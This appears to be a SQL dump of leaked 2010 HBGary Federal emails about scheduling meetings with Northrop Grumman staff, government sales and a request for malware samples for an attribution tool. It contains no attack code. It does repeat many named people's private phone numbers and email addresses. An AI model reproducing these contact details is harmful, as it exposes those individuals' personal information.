by.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 9:23 PM\r\nTo: Godwin, Gib (IS)\r\nCc: Shows, Bob (IS)\r\nSubject: Re: EXTERNAL:Lost the ball\r\n\r\nHow about 830?  Where would you like to meet?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 8:07 PM, \"Godwin, Gib (IS)\"  wrote:\r\n\r\n> Tues Morn before 11 works.\r\n> Gib\r\n> \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Shows, Bob (IS) \r\n> Sent: Friday, July 16, 2010 5:53 PM\r\n> To: Aaron Barr; Godwin, Gib (IS)\r\n> Subject: RE: EXTERNAL:Lost the ball\r\n> \r\n> Gib, \r\n> \r\n> We were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.  I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.  \r\n> \r\n> Your availability?\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 4:31 PM\r\n> To: Shows, Bob (IS)\r\n> Subject: EXTERNAL:Lost the ball\r\n> \r\n> When are we meeting?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n',9372,'aaron_hbgary_com/9372.html'),(8753,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006699.M111694P14101Q3608.eml','wluti@digitalmanagement.com','Meeting Tuesday morning','Bill,Any chance we could get together anytime today, tomorrow afternoon, or wednesday.  Wouldn&#39;t you know I scheduled by memory and picked the only time so far this week I actually have a scheduled meeting.\r\nAaron-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',9657,'aaron_hbgary_com/9657.html'),(8754,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006699.M333504P14101Q3609.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Obama','How about 9am EST since your up?  I am still looking to see how i can help.  Civil is not my strong area.AaronSent from my iPadOn Jul 19, 2010, at 7:45 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nHi AaronWhen may I call you about TSA and DHS?Penny wants a high level meeting.Maria\r\nOn Fri, Jul 16, 2010 at 7:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nI need help getting to Janet ASAP.  TSA was slated to buy $800K Sept, this\r\nwas pushed out till Q2, do you know anyone??\r\n\r\n-----Original Message-----\r\nFrom: Gary McGraw [mailto:gem@cigital.com]\r\nSent: Friday, July 16, 2010 9:35 AM\r\nTo: Penny Hoglund; Greg Hoglund\r\nSubject: Obama\r\n\r\nI got to see Obama on Wednesday at the White House.  Most excellent...\r\n\r\nhttp://www.informit.com/articles/article.aspx?p=1617137\r\n\r\nhttp://www.cigital.com/justiceleague/2010/07/16/cigital-participates-in-whit\r\ne-house-discussion-on-the-progress-of-the-president%E2%80%99s-cybersecurity-\r\nefforts/\r\n\r\ngem\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n\r\n',8139,'aaron_hbgary_com/8139.html'),(8755,'2010-07-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006699.M562813P14101Q3610.eml','aaron@hbgary.com','Out of the Office Re: Obama','I will be out of the office until Monday, July 26 on vacation and will\r\nhave limited access to email.  Penny Leavy-Hoglund is covering for me.\r\n For support questions please go to your web portal account and create\r\na support ticket.  For sales questions related to product or\r\nevaluations please contact Joe Pizzo at joe@hbgary.com or at\r\n917-952-6385.  For renewal or administrative questions please contact\r\nAndrea at andrea@hbgary.com.\r\nFor all other questions Penny can be reached at penny@hbgary.com or\r\n408-316-8002.\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com\r\n',2029,'aaron_hbgary_com/2029.html'),(8756,'2010-07-19','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297006699.M779875P14101Q3611.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting Tuesday morning','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, this morning works for me but let me check with the other\r\nfolks and get back to you shortly. Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 7:57 AM\r\nTo: William Luti\r\nSubject: Meeting Tuesday morning\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny chance we could get together anytime today, tomorrow\r\nafternoon, or wednesday. &nbsp;Wouldn\'t you know I scheduled by memory and\r\npicked the only time so far this week I actually have a scheduled meeting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13870,'aaron_hbgary_com/13870.html'),(8757,'2010-07-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006699.M994539P14101Q3612.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Obama','what number may I call you on?On Mon, Jul 19, 2010 at 8:01 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHow about 9am EST since your up?  I am still looking to see how i can help.  Civil is not my strong area.AaronSent from my iPad\r\nOn Jul 19, 2010, at 7:45 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nHi AaronWhen may I call you about TSA and DHS?Penny wants a high level meeting.Maria\r\n\r\nOn Fri, Jul 16, 2010 at 7:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nI need help getting to Janet ASAP.  TSA was slated to buy $800K Sept, this\r\nwas pushed out till Q2, do you know anyone??\r\n\r\n-----Original Message-----\r\nFrom: Gary McGraw [mailto:gem@cigital.com]\r\nSent: Friday, July 16, 2010 9:35 AM\r\nTo: Penny Hoglund; Greg Hoglund\r\nSubject: Obama\r\n\r\nI got to see Obama on Wednesday at the White House.  Most excellent...\r\n\r\nhttp://www.informit.com/articles/article.aspx?p=1617137\r\n\r\n\r\nhttp://www.cigital.com/justiceleague/2010/07/16/cigital-participates-in-whit\r\n\r\ne-house-discussion-on-the-progress-of-the-president%E2%80%99s-cybersecurity-\r\nefforts/\r\n\r\ngem\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n  \r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',7077,'aaron_hbgary_com/7077.html'),(8758,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006700.M222846P14101Q3613.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Obama','7195108478Sent from my iPadOn Jul 19, 2010, at 8:03 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nwhat number may I call you on?On Mon, Jul 19, 2010 at 8:01 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHow about 9am EST since your up?  I am still looking to see how i can help.  Civil is not my strong area.AaronSent from my iPad\r\n\r\nOn Jul 19, 2010, at 7:45 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nHi AaronWhen may I call you about TSA and DHS?Penny wants a high level meeting.Maria\r\n\r\n\r\nOn Fri, Jul 16, 2010 at 7:28 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\nI need help getting to Janet ASAP.  TSA was slated to buy $800K Sept, this\r\nwas pushed out till Q2, do you know anyone??\r\n\r\n-----Original Message-----\r\nFrom: Gary McGraw [mailto:gem@cigital.com]\r\nSent: Friday, July 16, 2010 9:35 AM\r\nTo: Penny Hoglund; Greg Hoglund\r\nSubject: Obama\r\n\r\nI got to see Obama on Wednesday at the White House.  Most excellent...\r\n\r\nhttp://www.informit.com/articles/article.aspx?p=1617137\r\n\r\n\r\n\r\nhttp://www.cigital.com/justiceleague/2010/07/16/cigital-participates-in-whit\r\n\r\n\r\ne-house-discussion-on-the-progress-of-the-president%E2%80%99s-cybersecurity-\r\nefforts/\r\n\r\ngem\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n\r\n  \r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n',8810,'aaron_hbgary_com/8810.html'),(8759,'2010-07-19','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297006700.M440267P14101Q3614.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Attribution','Hey Aaron,\r\nWill give you a call as soon as I put out some fires to discuss.\r\nDo you have access to Danny Quist\'s Offensive Computing malware\r\ncollection?  We have it on disk.  I can\'t put that into a zip though.\r\nWould have to send you a hard drive.  Also, we have a collection from\r\nCMU that came from the Fort.  I am not sure if we can give that to a\r\ncommercial company.  I think they asked us not to do that.  I know guys\r\nin IS got a bunch of malware from VX Heavens and Georgia Tech ISC.\r\n\r\nBrian\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 10:27 PM\r\nTo: Aaron Barr\r\nSubject: EXTERNAL:Attribution\r\n\r\nI am sending this request to a small group of individuals.  Please do\r\nnot forward this email to third parties.  HBGary is working hard to help\r\nsolve the attribution problem.  We have developed a fingerprint tool\r\nwhich extracts toolmarks left behind in malware executables.  We use\r\nthese toolmarks to cluster exploits together which were compiled on the\r\nsame computer system or development environment.  Notice the clusters in\r\nthe graphic below. These groupings illustrate the relationships between\r\nover 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually\r\nyou can imagine combining this data with open source and intelligence\r\ndata.  I can see attribution as potentially a solvable problem.  We need\r\nyour malware samples, as many as you can provide.  This is not something\r\nwe are looking to profit from directly, we will be giving this tool away\r\nat Blackhat, so helping us improve the tool will help the community beat\r\nback the threat.  If possible please have your representative CISOs or\r\ncybersecurity personnel send malware samples in a password protected zip\r\nfile.  Provide the password via phone 719-510-8478 or fax to:\r\n720-836-4208 we need your samples as soon as possible.  Samples provided\r\nwill not be shared with third parties and your participation will be\r\nheld in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of\r\nour findings and you will have made a significant contribution to\r\nsecuring America\'s networks. \r\n\r\n\r\n',8180,'aaron_hbgary_com/8180.html'),(8760,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006700.M662580P14101Q3615.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: EXTERNAL:Attribution','Surprise, surprise, surprise.Xetron lives... And with data.I am going to try and finagle the cmu stuff from NSA.AaronSent from my iPhoneBegin forwarded message:From: \"Masterson, Brian M (XETRON)\" &lt;Brian.Masterson@ngc.com&gt;Date: July 19, 2010 8:25:29 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: EXTERNAL:AttributionHey Aaron,Will give you a call as soon as I put out some fires to discuss.Do you have access to Danny Quist\'s Offensive Computing malwarecollection? &nbsp;We have it on disk. &nbsp;I can\'t put that into a zip though.Would have to send you a hard drive. &nbsp;Also, we have a collection fromCMU that came from the Fort. &nbsp;I am not sure if we can give that to acommercial company. &nbsp;I think they asked us not to do that. &nbsp;I know guysin IS got a bunch of malware from VX Heavens and Georgia Tech ISC.BrianBrian Masterson Northrop Grumman/Xetron Chief Technology Officer, Cyber SolutionsPh: 513-881-3591 Cell: 513-706-4848 Fax: 513-881-3877 -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, July 16, 2010 10:27 PMTo: Aaron BarrSubject: EXTERNAL:AttributionI am sending this request to a small group of individuals. &nbsp;Please donot forward this email to third parties. &nbsp;HBGary is working hard to helpsolve the attribution problem. &nbsp;We have developed a fingerprint toolwhich extracts toolmarks left behind in malware executables. &nbsp;We usethese toolmarks to cluster exploits together which were compiled on thesame computer system or development environment. &nbsp;Notice the clusters inthe graphic below. These groupings illustrate the relationships betweenover 3000 malware samples.We need your help to further validate and improve the tool. &nbsp;Eventuallyyou can imagine combining this data with open source and intelligencedata. &nbsp;I can see attribution as potentially a solvable problem. &nbsp;We needyour malware samples, as many as you can provide. &nbsp;This is not somethingwe are looking to profit from directly, we will be giving this tool awayat Blackhat, so helping us improve the tool will help the community beatback the threat. &nbsp;If possible please have your representative CISOs orcybersecurity personnel send malware samples in a password protected zipfile. &nbsp;Provide the password via phone 719-510-8478 or fax to:720-836-4208 we need your samples as soon as possible. &nbsp;Samples providedwill not be shared with third parties and your participation will beheld in strict confidence.In exchange for your help, I will provide you with a summary report ofour findings and you will have made a significant contribution tosecuring America\'s networks. ',12215,'aaron_hbgary_com/12215.html'),(8761,'2010-07-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006700.M914336P14101Q3616.eml','\"Aaron Barr\" <aaron@hbgary.com>','lobbyist','AaronPenny mentioned you had a friend that was a Congressman that could help setup high level meetings...... I know Ben Gilman.http://en.wikipedia.org/wiki/Benjamin_A._Gilman\r\nBen Gilman is a retired Congressman and was Chair of the House on International Relations.  He is an older man now but has a consulting firm and knows a lot of people in DC and gets paid to lobby... not sure who he knows re: CyberSecurity but I can ask.... what do you think?  When I mentioned this last year Penny said that she already went this path with you and we didn&#39;t have the $$$ etc... I wanted to revisit.  It seems to me that we have to go much higher to get things out of the current DHS political structure...\r\nMariahttp://en.wikipedia.org/wiki/Benjamin_A._Gilman-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',16116,'aaron_hbgary_com/16116.html'),(8762,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006701.M157125P14101Q3617.eml','\"Greg Hoglund\" <greg@hbgary.com>','Book','Let\'s do it.\r\n\r\nI can interview a lot of people for context on why we are stuck and them we can lay out some tangible ways to be unstuck.  We can cover from the policy and organizational to the technical and give people somewhat of a handbook to fix the problem or at least one version.  Too grandiose?\r\n\r\nAaron\r\n\r\nSent from my iPhone',15708,'aaron_hbgary_com/15708.html'),(8763,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006701.M399593P14101Q3618.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: lobbyist','I am free if you want to call.Sent from my iPhoneOn Jul 19, 2010, at 8:37 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:AaronPenny mentioned you had a friend that was a Congressman that could help setup high level meetings...... I know Ben Gilman.http://en.wikipedia.org/wiki/Benjamin_A._Gilman\r\nBen Gilman is a retired Congressman and was Chair of the House on International Relations. &nbsp;He is an older man now but has a consulting firm and knows a lot of people in DC and gets paid to lobby... not sure who he knows re: CyberSecurity but I can ask.... what do you think? &nbsp;When I mentioned this last year Penny said that she already went this path with you and we didn\'t have the $$$ etc... I wanted to revisit. &nbsp;It seems to me that we have to go much higher to get things out of the current DHS political structure...\r\nMariahttp://en.wikipedia.org/wiki/Benjamin_A._Gilman-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',6794,'aaron_hbgary_com/6794.html'),(8764,'2010-07-19','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297006701.M722806P14101Q3619.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Lost the ball','I\'m on vacation this week, but will reconnect with you both next week for the decided next moves. \r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n-----Original Message-----\r\nFrom: Godwin, Gib (IS) \r\nSent: Monday, July 19, 2010 6:41 AM\r\nTo: \'Aaron Barr\'\r\nCc: Shows, Bob (IS)\r\nSubject: RE: EXTERNAL:Lost the ball\r\n\r\nHow about we gather at the office here and we can head out to a local spot from there. Address below. There is a Panera or a Starbucks close by.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 9:23 PM\r\nTo: Godwin, Gib (IS)\r\nCc: Shows, Bob (IS)\r\nSubject: Re: EXTERNAL:Lost the ball\r\n\r\nHow about 830?  Where would you like to meet?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 8:07 PM, \"Godwin, Gib (IS)\"  wrote:\r\n\r\n> Tues Morn before 11 works.\r\n> Gib\r\n> \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Shows, Bob (IS) \r\n> Sent: Friday, July 16, 2010 5:53 PM\r\n> To: Aaron Barr; Godwin, Gib (IS)\r\n> Subject: RE: EXTERNAL:Lost the ball\r\n> \r\n> Gib, \r\n> \r\n> We were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.  I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.  \r\n> \r\n> Your availability?\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 4:31 PM\r\n> To: Shows, Bob (IS)\r\n> Subject: EXTERNAL:Lost the ball\r\n> \r\n> When are we meeting?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n',13278,'aaron_hbgary_com/13278.html'),(8765,'2010-07-19','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006702.M11555P14101Q3620.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Lost the ball','Copy\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Shows, Bob (IS) \r\nSent: Monday, July 19, 2010 9:10 AM\r\nTo: Godwin, Gib (IS); \'Aaron Barr\'\r\nSubject: RE: EXTERNAL:Lost the ball\r\n\r\nI\'m on vacation this week, but will reconnect with you both next week for the decided next moves. \r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n-----Original Message-----\r\nFrom: Godwin, Gib (IS) \r\nSent: Monday, July 19, 2010 6:41 AM\r\nTo: \'Aaron Barr\'\r\nCc: Shows, Bob (IS)\r\nSubject: RE: EXTERNAL:Lost the ball\r\n\r\nHow about we gather at the office here and we can head out to a local spot from there. Address below. There is a Panera or a Starbucks close by.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 9:23 PM\r\nTo: Godwin, Gib (IS)\r\nCc: Shows, Bob (IS)\r\nSubject: Re: EXTERNAL:Lost the ball\r\n\r\nHow about 830?  Where would you like to meet?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 8:07 PM, \"Godwin, Gib (IS)\"  wrote:\r\n\r\n> Tues Morn before 11 works.\r\n> Gib\r\n> \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Shows, Bob (IS) \r\n> Sent: Friday, July 16, 2010 5:53 PM\r\n> To: Aaron Barr; Godwin, Gib (IS)\r\n> Subject: RE: EXTERNAL:Lost the ball\r\n> \r\n> Gib, \r\n> \r\n> We were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.  I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.  \r\n> \r\n> Your availability?\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 4:31 PM\r\n> To: Shows, Bob (IS)\r\n> Subject: EXTERNAL:Lost the ball\r\n> \r\n> When are we meeting?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n',16245,'aaron_hbgary_com/16245.html'),(8766,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006702.M251894P14101Q3621.eml','\"Phil Wallisch\" <phil@hbgary.com>','Call','Got a few minutes for a call?\r\n\r\n\r\nSent from my iPad\r\n',15052,'aaron_hbgary_com/15052.html'),(8767,'2010-07-19','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297006702.M462543P14101Q3622.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Call','Sure.  I&#39;ll have to call you though.  What number is best?On Mon, Jul 19, 2010 at 9:33 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGot a few minutes for a call?\r\n\r\n\r\nSent from my iPad\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',14562,'aaron_hbgary_com/14562.html'),(8768,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006702.M706795P14101Q3623.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Call','7195108478Sent from my iPadOn Jul 19, 2010, at 9:38 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nSure.  I&#39;ll have to call you though.  What number is best?On Mon, Jul 19, 2010 at 9:33 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nGot a few minutes for a call?\r\n\r\n\r\nSent from my iPad\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',8921,'aaron_hbgary_com/8921.html'),(8769,'2010-07-19','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297006702.M932174P14101Q3624.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Social Media Discussions @ Mon Jul 19 10am - 11am 	(aaron@hbgary.com)',' more details &raquo;Social Media DiscussionsWhenMon Jul 19 10am – 11am Eastern TimeWhereTBD (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;james.godwin@ngc.com&#x2022;rj.shows@ngc.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',14163,'aaron_hbgary_com/14163.html'),(8770,'2010-07-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006703.M169111P14101Q3625.eml','\"HBGary Employees\" <all@hbgary.com>','Shortage of Cyberwarriors','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nHere is a great article on NPR:  http://www.npr.org/templates/story/story.php?storyId=128574055\r\n\r\n \r\n\r\nCyberwarrior Shortage Threatens U.S. Security\r\n\r\n  \r\n\r\nJuly 19, 2010 \r\n\r\nThere may be no country on the planet more vulnerable to a massive\r\ncyberattack than the United States, where financial, transportation,\r\ntelecommunications and even military operations are now deeply dependent on\r\ndata networking.\r\n\r\nU.S. industry, government and military operations are all at risk of an\r\nattack on complex computer systems, analysts warn.\r\n\r\n \r\n\r\niStockphoto.com \r\n\r\nU.S. industry, government and military operations are all at\r\nrisk of an attack on complex computer systems, analysts warn.\r\n\r\nWhat&#39;s worse: U.S. security officials say the country&#39;s cyberdefenses are\r\nnot up to the challenge. In part, it&#39;s due to a severe shortage of computer\r\nsecurity specialists and engineers with the skills and knowledge necessary to\r\ndo battle against would-be adversaries. The protection of U.S. computer systems\r\nessentially requires an army of cyberwarriors, but the recruitment of that\r\nforce is suffering.\r\n\r\n&quot;We don&#39;t have sufficiently bright people moving into this field to\r\nsupport those national security objectives as we move forward in time,&quot;\r\nsays James Gosler, a veteran cybersecurity specialist who has worked at the\r\nCIA, the National Security Agency, and the Energy Department. \r\n\r\nIf U.S. cyberdefenses are to be improved, more people like Gosler will be\r\nneeded on the front lines. Gosler, 58, works at the Energy Department&#39;s Sandia\r\nNational Laboratory in Albuquerque, New Mexico, where he focuses on ways to\r\ncounter efforts to penetrate U.S. data networks. It&#39;s an ever-increasing\r\nchallenge. \r\n\r\n&quot;You can have vulnerabilities in the fundamentals of the technology,\r\nyou can have vulnerabilities introduced based on how that technology is\r\nimplemented, and you can have vulnerabilities introduced through the artificial\r\napplications that are built on that fundamental technology,&quot; Gosler says.\r\n&quot;It takes a very skilled person to operate at that level, and we don&#39;t\r\nhave enough of them.&quot;\r\n\r\nWeb Resources\r\n\r\nCSIS\r\nReport On Cybersecurity \r\n\r\nGosler estimates there are now only 1,000 people in the entire United States\r\nwith the sophisticated skills needed for the most demanding cyberdefense tasks.\r\nTo meet the computer security needs of U.S. government agencies and large\r\ncorporations, he says, a force of 20,000 to 30,000 similarly skilled cyber specialists\r\nis needed. \r\n\r\nSome are currently being trained at the non-profit SANS (SysAdmin, Audit,\r\nNetwork, Security) Institute outside Washington, 